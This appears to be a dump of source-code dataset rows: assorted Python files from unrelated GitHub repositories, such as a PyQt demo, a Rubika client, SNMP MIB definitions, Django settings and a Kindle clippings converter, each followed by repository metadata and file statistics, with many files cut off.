from PyQt6.QtWidgets import QApplication, QWidget
import sys # komentarz
app = QApplication(sys.argv) # ([]) -bez argumentów
window = QWidget()
window.show()
app.exec()
| 14.666667 | 52 | 0.715909 | 21 | 176 | 6 | 0.714286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006757 | 0.159091 | 176 | 11 | 53 | 16 | 0.844595 | 0.170455 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
051e064cf78fe1b3efaa1e563322f576984f94e9 | 24,624 | py | Python | rubika/client.py | Bahman-Ahmadi/rubika | 924e82434f9468cadf481af7b29695f642af7e99 | [
"MIT"
] | 23 | 2021-12-06T09:54:01.000Z | 2022-03-31T19:44:29.000Z | rubika/client.py | Bahman-Ahmadi/rubika | 924e82434f9468cadf481af7b29695f642af7e99 | [
"MIT"
] | 4 | 2022-01-08T19:27:40.000Z | 2022-03-30T13:18:23.000Z | rubika/client.py | Bahman-Ahmadi/rubika | 924e82434f9468cadf481af7b29695f642af7e99 | [
"MIT"
] | 13 | 2021-12-08T14:18:39.000Z | 2022-03-30T13:20:37.000Z | from pathlib import Path
from requests import post
from random import randint
from json import loads, dumps
import random, datetime, rubika.encryption
# because should be exist !
adminsAccess = {
"pin":"PinMessages",
"newAdmin":"SetAdmin",
"editInfo":"ChangeInfo",
"banMember":"BanMember",
"changeLink":"SetJoinLin... | 29.349225 | 2,034 | 0.634665 | 2,970 | 24,624 | 5.091582 | 0.123906 | 0.022219 | 0.032535 | 0.034255 | 0.601971 | 0.571816 | 0.53895 | 0.535181 | 0.524732 | 0.507406 | 0 | 0.03091 | 0.163093 | 24,624 | 839 | 2,035 | 29.349225 | 0.702882 | 0.016244 | 0 | 0.613666 | 0 | 0.001314 | 0.368978 | 0.093771 | 0 | 1 | 0 | 0 | 0 | 1 | 0.061761 | false | 0.001314 | 0.009198 | 0.036794 | 0.128778 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
051f4dab5a5f1bed25333ea9cb6d58c8c48a834b | 424 | py | Python | lpyHardway/logic/ex2.py | oreanroy/learn_modules | fb1debc612940b65c409d8f5b35a3b4e16e67494 | [
"MIT"
] | null | null | null | lpyHardway/logic/ex2.py | oreanroy/learn_modules | fb1debc612940b65c409d8f5b35a3b4e16e67494 | [
"MIT"
] | 17 | 2019-12-01T16:56:29.000Z | 2022-03-02T04:49:51.000Z | lpyHardway/logic/ex2.py | oreanroy/learn_modules | fb1debc612940b65c409d8f5b35a3b4e16e67494 | [
"MIT"
] | 1 | 2019-09-28T00:43:54.000Z | 2019-09-28T00:43:54.000Z | people = 30
cars = 40
buses = 15
if cars > people:
print "We should take the cars."
elif cars < people:
print "we should not take the cars."
else:
print "we can't decide."
if buses > cars:
print " That's too many buses"
elif buses < cars:
print " Maybe we could take the bus."
else:
print "we stil can't decide."... | 17.666667 | 38 | 0.676887 | 74 | 424 | 3.878378 | 0.445946 | 0.097561 | 0.10453 | 0.118467 | 0.160279 | 0 | 0 | 0 | 0 | 0 | 0 | 0.018127 | 0.21934 | 424 | 23 | 39 | 18.434783 | 0.848943 | 0 | 0 | 0.157895 | 0 | 0 | 0.463357 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.421053 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 2 |
05260b29fa65b53dc965a1c89ebcef95a1a96d54 | 396 | py | Python | test/config_generator_test.py | jnohlgard/projector-installer | 52aeaa936aa21d9fa6aee109d78e209fa068821b | [
"Apache-2.0"
] | null | null | null | test/config_generator_test.py | jnohlgard/projector-installer | 52aeaa936aa21d9fa6aee109d78e209fa068821b | [
"Apache-2.0"
] | null | null | null | test/config_generator_test.py | jnohlgard/projector-installer | 52aeaa936aa21d9fa6aee109d78e209fa068821b | [
"Apache-2.0"
] | null | null | null | """Test config_generator.py module"""
from unittest import TestCase
from projector_installer.config_generator import token_quote
class ConfigGeneratorTest(TestCase):
"""Test config_generator.py module"""
def test_token_quote(self) -> None:
"""The token_quote method must return the same token in quot... | 30.461538 | 73 | 0.739899 | 50 | 396 | 5.64 | 0.54 | 0.141844 | 0.134752 | 0.148936 | 0.191489 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.151515 | 396 | 12 | 74 | 33 | 0.839286 | 0.310606 | 0 | 0 | 0 | 0 | 0.093385 | 0 | 0 | 0 | 0 | 0 | 0.2 | 1 | 0.2 | false | 0 | 0.4 | 0 | 0.8 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
053268be449fba403f273951c902bae23a8253b1 | 333 | py | Python | tests/ut_repytests_loose-testnetmessportreuse.py | SeattleTestbed/repy_v1 | f40a02e2e398b1ec67fede84b41a264ae7356d2c | [
"MIT"
] | 1 | 2021-08-18T05:58:17.000Z | 2021-08-18T05:58:17.000Z | tests/ut_repytests_loose-testnetmessportreuse.py | SeattleTestbed/repy_v1 | f40a02e2e398b1ec67fede84b41a264ae7356d2c | [
"MIT"
] | 3 | 2015-11-17T21:01:03.000Z | 2016-07-14T09:08:04.000Z | tests/ut_repytests_loose-testnetmessportreuse.py | SeattleTestbed/repy_v1 | f40a02e2e398b1ec67fede84b41a264ae7356d2c | [
"MIT"
] | 5 | 2015-07-02T13:29:23.000Z | 2021-09-25T07:48:30.000Z | #pragma out
#pragma repy restrictions.loose
def foo(ip,port,mess, ch):
print ip,port,mess,ch
stopcomm(ch)
def noop(a,b,c,d):
pass
if callfunc == 'initialize':
ip = getmyip()
noopch = recvmess(ip,<messport>,noop)
recvmess(ip,<messport1>,foo)
sleep(.1)
sendmess(ip,<messport1>,'hi',ip,<messport>)
stop... | 18.5 | 45 | 0.678679 | 50 | 333 | 4.52 | 0.62 | 0.053097 | 0.088496 | 0.106195 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.010563 | 0.147147 | 333 | 17 | 46 | 19.588235 | 0.785211 | 0.12012 | 0 | 0 | 0 | 0 | 0.041237 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.083333 | 0 | null | null | 0.083333 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
055c91bef8da3c2b5ab9913ec9ae41927e8fef83 | 1,514 | py | Python | evkit/utils/misc.py | joel99/midlevel-reps | f0b4a4d8ccf09a0488cd18af24723172aff99446 | [
"MIT"
] | 120 | 2019-04-22T04:45:28.000Z | 2022-03-23T01:53:17.000Z | evkit/utils/misc.py | joel99/midlevel-reps | f0b4a4d8ccf09a0488cd18af24723172aff99446 | [
"MIT"
] | 14 | 2019-06-12T08:21:21.000Z | 2021-08-25T15:36:58.000Z | evkit/utils/misc.py | joel99/midlevel-reps | f0b4a4d8ccf09a0488cd18af24723172aff99446 | [
"MIT"
] | 19 | 2019-06-19T07:00:36.000Z | 2022-03-24T07:18:30.000Z | import collections
import torch
import pprint
import string
remove_whitespace = str.maketrans('', '', string.whitespace)
def cfg_to_md(cfg, uuid):
''' Because tensorboard uses markdown'''
return uuid + "\n\n " + pprint.pformat((cfg)).replace("\n", " \n").replace("\n \'", "\n \'") + ""
def is_interac... | 22.939394 | 110 | 0.579921 | 204 | 1,514 | 4.151961 | 0.460784 | 0.03778 | 0.021251 | 0.03778 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.008212 | 0.27609 | 1,514 | 65 | 111 | 23.292308 | 0.764599 | 0.112285 | 0 | 0.090909 | 0 | 0 | 0.031298 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.204545 | false | 0 | 0.090909 | 0.068182 | 0.522727 | 0.045455 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
0565ccb5f3f8b36de113f3a2bcbbc32675fef341 | 58,839 | py | Python | pysnmp-with-texts/FORCE10-MONITORING-MIB.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 8 | 2019-05-09T17:04:00.000Z | 2021-06-09T06:50:51.000Z | pysnmp-with-texts/FORCE10-MONITORING-MIB.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 4 | 2019-05-31T16:42:59.000Z | 2020-01-31T21:57:17.000Z | pysnmp-with-texts/FORCE10-MONITORING-MIB.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 10 | 2019-04-30T05:51:36.000Z | 2022-02-16T03:33:41.000Z | #
# PySNMP MIB module FORCE10-MONITORING-MIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/FORCE10-MONITORING-MIB
# Produced by pysmi-0.3.4 at Wed May 1 13:14:24 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.7.3 (d... | 131.044543 | 6,796 | 0.791261 | 6,857 | 58,839 | 6.789412 | 0.062418 | 0.071915 | 0.125851 | 0.012802 | 0.575298 | 0.4389 | 0.391752 | 0.38084 | 0.311116 | 0.282719 | 0 | 0.085852 | 0.095906 | 58,839 | 448 | 6,797 | 131.337054 | 0.789307 | 0.005744 | 0 | 0 | 0 | 0.138636 | 0.279748 | 0.013882 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.029545 | 0.020455 | 0 | 0.020455 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
056887fff4c016e1bd810fe62a7c889a8d65cc5e | 1,952 | py | Python | aircraft_framework_win/framework_PhD/framework/Stability/Dynamic/state_vector.py | AlejandroRios/IAANDOCAC-aircraft-framework | 9768e9736af70e20e8ef1cc0ad6501f3a28dbb47 | [
"Apache-2.0"
] | null | null | null | aircraft_framework_win/framework_PhD/framework/Stability/Dynamic/state_vector.py | AlejandroRios/IAANDOCAC-aircraft-framework | 9768e9736af70e20e8ef1cc0ad6501f3a28dbb47 | [
"Apache-2.0"
] | null | null | null | aircraft_framework_win/framework_PhD/framework/Stability/Dynamic/state_vector.py | AlejandroRios/IAANDOCAC-aircraft-framework | 9768e9736af70e20e8ef1cc0ad6501f3a28dbb47 | [
"Apache-2.0"
] | null | null | null | """
Function :
Title :
Written by:
Email : aarc.88@gmail.com
Date :
Last edit :
Language : Python 3.8 or >
Aeronautical Institute of Technology - Airbus Brazil
Description:
-
Inputs:
-
Outputs:
-
TODO's:
-
"""
# =========================================================================... | 22.436782 | 79 | 0.236168 | 164 | 1,952 | 2.682927 | 0.463415 | 0.063636 | 0.081818 | 0.090909 | 0.115909 | 0.029545 | 0.029545 | 0.029545 | 0.029545 | 0.029545 | 0 | 0.04577 | 0.26127 | 1,952 | 86 | 80 | 22.697674 | 0.259362 | 0.798668 | 0 | 0 | 0 | 0 | 0.008982 | 0 | 0 | 0 | 0 | 0.011628 | 0 | 1 | 0.071429 | false | 0 | 0.071429 | 0 | 0.214286 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
057cd72af1308e0a81b1f8fd12ba9d1678f47b2d | 1,262 | py | Python | tests/fixtures.py | GustavoKatel/pushbullet-cli | e5102772752a97db539594b0d50b5effb36a22e2 | [
"MIT"
] | 176 | 2017-01-30T16:21:48.000Z | 2022-02-10T05:32:57.000Z | tests/fixtures.py | GustavoKatel/pushbullet-cli | e5102772752a97db539594b0d50b5effb36a22e2 | [
"MIT"
] | 49 | 2017-01-21T20:27:03.000Z | 2022-01-16T02:57:51.000Z | tests/fixtures.py | GustavoKatel/pushbullet-cli | e5102772752a97db539594b0d50b5effb36a22e2 | [
"MIT"
] | 21 | 2017-01-26T06:08:54.000Z | 2022-01-04T19:53:25.000Z | import click
import pytest
from click.testing import CliRunner
@pytest.yield_fixture
def pb_api(mocker):
from pushbullet_cli import app
from tests.mock_pushbullet import MockPushBullet
mock_pb = MockPushBullet()
mocker.patch.object(app, "_get_pb", return_value=mock_pb)
yield mock_pb
@pytest.fix... | 21.033333 | 61 | 0.723455 | 172 | 1,262 | 5.081395 | 0.27907 | 0.06865 | 0.097254 | 0.114416 | 0.283753 | 0.224256 | 0.08238 | 0 | 0 | 0 | 0 | 0.000994 | 0.202853 | 1,262 | 59 | 62 | 21.389831 | 0.867793 | 0 | 0 | 0.128205 | 0 | 0 | 0.005547 | 0 | 0 | 0 | 0 | 0 | 0.025641 | 1 | 0.205128 | false | 0 | 0.230769 | 0 | 0.615385 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
0582a1028ca60869856e20d167bdffc0aa95e128 | 412 | py | Python | pal95_doc/docs/__init__.py | MacHu-GWU/pal95_doc-project | 753b865435f316e985320247489e68f465741827 | [
"MIT"
] | 13 | 2019-10-01T02:51:27.000Z | 2022-02-28T17:38:58.000Z | pal95_doc/docs/__init__.py | MacHu-GWU/pal95_doc-project | 753b865435f316e985320247489e68f465741827 | [
"MIT"
] | 2 | 2020-11-09T09:17:21.000Z | 2021-04-27T21:20:59.000Z | pal95_doc/docs/__init__.py | MacHu-GWU/pal95_doc-project | 753b865435f316e985320247489e68f465741827 | [
"MIT"
] | 1 | 2020-02-28T12:05:22.000Z | 2020-02-28T12:05:22.000Z | # -*- coding: utf-8 -*-
from .equipment import lt_equipment
from .spell import lt_spell_lxy, lt_spell_zle, lt_spell_lyr, lt_spell_an
from .monster import lt_monster
from .zone import lt_zone
doc_data = dict(
lt_equipment=lt_equipment,
lt_spell_lxy=lt_spell_lxy,
lt_spell_zle=lt_spell_zle,
lt_spell_lyr=... | 25.75 | 72 | 0.764563 | 72 | 412 | 3.902778 | 0.236111 | 0.298932 | 0.106762 | 0.128114 | 0.384342 | 0.348754 | 0.298932 | 0.298932 | 0 | 0 | 0 | 0.002874 | 0.15534 | 412 | 16 | 73 | 25.75 | 0.804598 | 0.050971 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.307692 | 0 | 0.307692 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
0597da213baf4860aef1103fe9f6eaf312ad6be5 | 9,246 | py | Python | Klipps/convert.py | rafalkaron/KindleClippingsBeautifier | 10d79da2a073f8867041a2520d7a234937237243 | [
"MIT"
] | 1 | 2020-05-25T11:30:54.000Z | 2020-05-25T11:30:54.000Z | Klipps/convert.py | rafalkaron/KindleClippingsBeautifier | 10d79da2a073f8867041a2520d7a234937237243 | [
"MIT"
] | null | null | null | Klipps/convert.py | rafalkaron/KindleClippingsBeautifier | 10d79da2a073f8867041a2520d7a234937237243 | [
"MIT"
] | null | null | null | # coding: utf-8
import re
import datetime
from .feed import read_file
__author__ = "Rafał Karoń <rafalkaron@gmail.com>"
def clipps_str_to_html_str(clipps_str):
"""Return a string that contains the converted \"Kindle Clippings.txt file\" to HTML."""
# ADD ELEMENTS (SVG favicon encoded with: https://yoksel.gith... | 72.234375 | 4,532 | 0.701709 | 1,429 | 9,246 | 4.482155 | 0.271519 | 0.037158 | 0.018267 | 0.046838 | 0.343169 | 0.314442 | 0.251678 | 0.196565 | 0.186261 | 0.170492 | 0 | 0.130032 | 0.113346 | 9,246 | 128 | 4,533 | 72.234375 | 0.651256 | 0.125784 | 0 | 0.153846 | 0 | 0.019231 | 0.802488 | 0.399502 | 0 | 0 | 0 | 0 | 0 | 1 | 0.028846 | false | 0 | 0.028846 | 0 | 0.086538 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
55333cbb250a399b054018a193b9449274e24d7c | 837 | py | Python | website_sale_cache/__manifest__.py | factorlibre/website-addons | 9a0c7a238e2b6030d57f7a08d48816b4f2431524 | [
"MIT"
] | 1 | 2020-03-01T03:04:21.000Z | 2020-03-01T03:04:21.000Z | website_sale_cache/__manifest__.py | factorlibre/website-addons | 9a0c7a238e2b6030d57f7a08d48816b4f2431524 | [
"MIT"
] | null | null | null | website_sale_cache/__manifest__.py | factorlibre/website-addons | 9a0c7a238e2b6030d57f7a08d48816b4f2431524 | [
"MIT"
] | 3 | 2019-07-29T20:23:16.000Z | 2021-01-07T20:51:24.000Z | # Copyright 2017 Artyom Losev
# Copyright 2018 Kolushov Alexandr <https://it-projects.info/team/KolushovAlexandr>
# License MIT (https://opensource.org/licenses/MIT).
{
"name": """E-commerce Category Cache""",
"summary": """Use this module to greatly accelerate the loading of a page with a large number of produ... | 41.85 | 123 | 0.658303 | 107 | 837 | 5.074766 | 0.719626 | 0.055249 | 0.051565 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.025568 | 0.158901 | 837 | 19 | 124 | 44.052632 | 0.745739 | 0.195938 | 0 | 0 | 0 | 0 | 0.681138 | 0.112275 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
554e5d74e0feb6600546ab4240369b860c3f874d | 492 | py | Python | g/appengine/py/standard/simple-blog/app/helpers/hasher.py | chhschou/sandpit | d4a6760905b45b90455f10a5b50af3c5f743e445 | [
"MIT"
] | null | null | null | g/appengine/py/standard/simple-blog/app/helpers/hasher.py | chhschou/sandpit | d4a6760905b45b90455f10a5b50af3c5f743e445 | [
"MIT"
] | null | null | null | g/appengine/py/standard/simple-blog/app/helpers/hasher.py | chhschou/sandpit | d4a6760905b45b90455f10a5b50af3c5f743e445 | [
"MIT"
] | null | null | null | import random
import string
import hashlib
def make_salt():
return ''.join(random.choice(string.letters) for x in xrange(5))
# Implement the function valid_pw() that returns True if a user's password
# matches its hash. You will need to modify make_pw_hash.
def make_pw_hash_with_salt(name, pw, salt):
h = h... | 23.428571 | 74 | 0.707317 | 83 | 492 | 4.012048 | 0.506024 | 0.072072 | 0.12012 | 0.078078 | 0.144144 | 0.144144 | 0.144144 | 0 | 0 | 0 | 0 | 0.009926 | 0.180894 | 492 | 20 | 75 | 24.6 | 0.816377 | 0.260163 | 0 | 0 | 0 | 0 | 0.01385 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.272727 | false | 0 | 0.272727 | 0.090909 | 0.818182 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
55813ead580a9fd9024544a5265e546eab6feb28 | 3,339 | py | Python | mysite/mysite/settings.py | prnake/search_engine_demo | 57122052f63bbd054e0ca84d3c6832e6ecb00ec8 | [
"MIT"
] | 3 | 2020-08-08T04:44:29.000Z | 2020-09-10T07:38:11.000Z | mysite/mysite/settings.py | prnake/search_engine_demo | 57122052f63bbd054e0ca84d3c6832e6ecb00ec8 | [
"MIT"
] | null | null | null | mysite/mysite/settings.py | prnake/search_engine_demo | 57122052f63bbd054e0ca84d3c6832e6ecb00ec8 | [
"MIT"
] | null | null | null | import os
import environ
env = environ.Env(
# set casting, default value
DEBUG=(bool, False)
)
# reading .env file
environ.Env.read_env()
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
# Quick-start development s... | 24.91791 | 91 | 0.692123 | 364 | 3,339 | 6.203297 | 0.425824 | 0.08636 | 0.052702 | 0.055359 | 0.184234 | 0.147476 | 0.078388 | 0.065545 | 0.03543 | 0 | 0 | 0.008321 | 0.172207 | 3,339 | 133 | 92 | 25.105263 | 0.808611 | 0.210542 | 0 | 0 | 0 | 0 | 0.497706 | 0.414755 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.060241 | 0.024096 | 0 | 0.024096 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
5583a4b67ff425c68e23ee2615524b5aa7a257d1 | 591 | py | Python | meiduo1/apps/meiduo_admin/views/user_group.py | woobrain/nginx-uwsgi-web | 5b3ca1fba8205c2c0a2b91d951f812f1c30e12ae | [
"MIT"
] | null | null | null | meiduo1/apps/meiduo_admin/views/user_group.py | woobrain/nginx-uwsgi-web | 5b3ca1fba8205c2c0a2b91d951f812f1c30e12ae | [
"MIT"
] | 2 | 2021-05-28T19:45:17.000Z | 2021-11-02T15:49:34.000Z | meiduo1/apps/meiduo_admin/views/user_group.py | woobrain/nginx-uwsgi-web | 5b3ca1fba8205c2c0a2b91d951f812f1c30e12ae | [
"MIT"
] | null | null | null | from django.contrib.auth.models import Group, Permission
from rest_framework.response import Response
from rest_framework.viewsets import ModelViewSet
from .statistical import UserPagination
from apps.meiduo_admin.serializer.user_group import UserGroupSerializer, GroupPerSerializer
class UserGroupView(ModelViewSet):
... | 32.833333 | 91 | 0.788494 | 64 | 591 | 7.1875 | 0.578125 | 0.034783 | 0.073913 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.147208 | 591 | 18 | 92 | 32.833333 | 0.912698 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.076923 | false | 0 | 0.384615 | 0 | 0.846154 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
55948a0d8acfcbe1f96f58b36c1bb83505bd04f6 | 175 | py | Python | first_task.py | yashika0607/Task1_python | 4a867227f48f0c8ed9ad418fb412550eef3a7571 | [
"Apache-2.0"
] | null | null | null | first_task.py | yashika0607/Task1_python | 4a867227f48f0c8ed9ad418fb412550eef3a7571 | [
"Apache-2.0"
] | null | null | null | first_task.py | yashika0607/Task1_python | 4a867227f48f0c8ed9ad418fb412550eef3a7571 | [
"Apache-2.0"
] | null | null | null | #task 1
r=float(input("Enter the radius of the circle?\n"))
pi=3.143
area=pi*r*r
print("Area of the circle is ",area)
#task 2
x=input("Enter the file name\n")
print(x+".py")
| 17.5 | 51 | 0.674286 | 38 | 175 | 3.105263 | 0.578947 | 0.169492 | 0.220339 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.039735 | 0.137143 | 175 | 9 | 52 | 19.444444 | 0.741722 | 0.068571 | 0 | 0 | 0 | 0 | 0.490683 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.333333 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
55a528f7f755e76f01a1fec6c18655befd899209 | 131 | py | Python | Logon.py | fenglihanxiao/multi_test | 46ee84aaa36f1d9594ccf7a14caa167dfcd719d5 | [
"MIT"
] | null | null | null | Logon.py | fenglihanxiao/multi_test | 46ee84aaa36f1d9594ccf7a14caa167dfcd719d5 | [
"MIT"
] | null | null | null | Logon.py | fenglihanxiao/multi_test | 46ee84aaa36f1d9594ccf7a14caa167dfcd719d5 | [
"MIT"
] | null | null | null | num1 = 1
num2 = 20
num3 = 168
# dev first commit
num1 = 1
# resolve conflict
num2 = 88888888
# Test next commit
num3 = 99
| 8.1875 | 18 | 0.641221 | 20 | 131 | 4.2 | 0.75 | 0.119048 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.247312 | 0.290076 | 131 | 15 | 19 | 8.733333 | 0.655914 | 0.381679 | 0 | 0.333333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
55a57c64b93ff64ee4143c416e8510e88ce162fa | 8,022 | py | Python | foulacces.py | Danukeru/FOULACCES | 54304c7a91326f9517c45f6981c4ab8de4eb3964 | [
"BSD-3-Clause"
] | 1 | 2019-10-21T23:43:21.000Z | 2019-10-21T23:43:21.000Z | foulacces.py | Danukeru/FOULACCES | 54304c7a91326f9517c45f6981c4ab8de4eb3964 | [
"BSD-3-Clause"
] | null | null | null | foulacces.py | Danukeru/FOULACCES | 54304c7a91326f9517c45f6981c4ab8de4eb3964 | [
"BSD-3-Clause"
] | 1 | 2019-10-21T23:43:29.000Z | 2019-10-21T23:43:29.000Z | #!/usr/bin/env python
import os
import sys
import hashlib
import httplib
import base64
import socket
from xml.dom.minidom import *
RAC_CODE = { 'x' : 'Unknown error',
'0x0' : 'Success',
'0x4' : 'Number of arguments does not match',
'0xc' : 'Syntax... | 40.11 | 87 | 0.446771 | 547 | 8,022 | 6.486289 | 0.521024 | 0.008455 | 0.012401 | 0.012401 | 0.232244 | 0.206877 | 0.127959 | 0.127959 | 0.127959 | 0.127959 | 0 | 0.360154 | 0.417477 | 8,022 | 199 | 88 | 40.311558 | 0.399101 | 0.002493 | 0 | 0.106509 | 0 | 0 | 0.415573 | 0 | 0 | 0 | 0.241345 | 0 | 0 | 1 | 0 | false | 0.005917 | 0.04142 | 0 | 0.04142 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
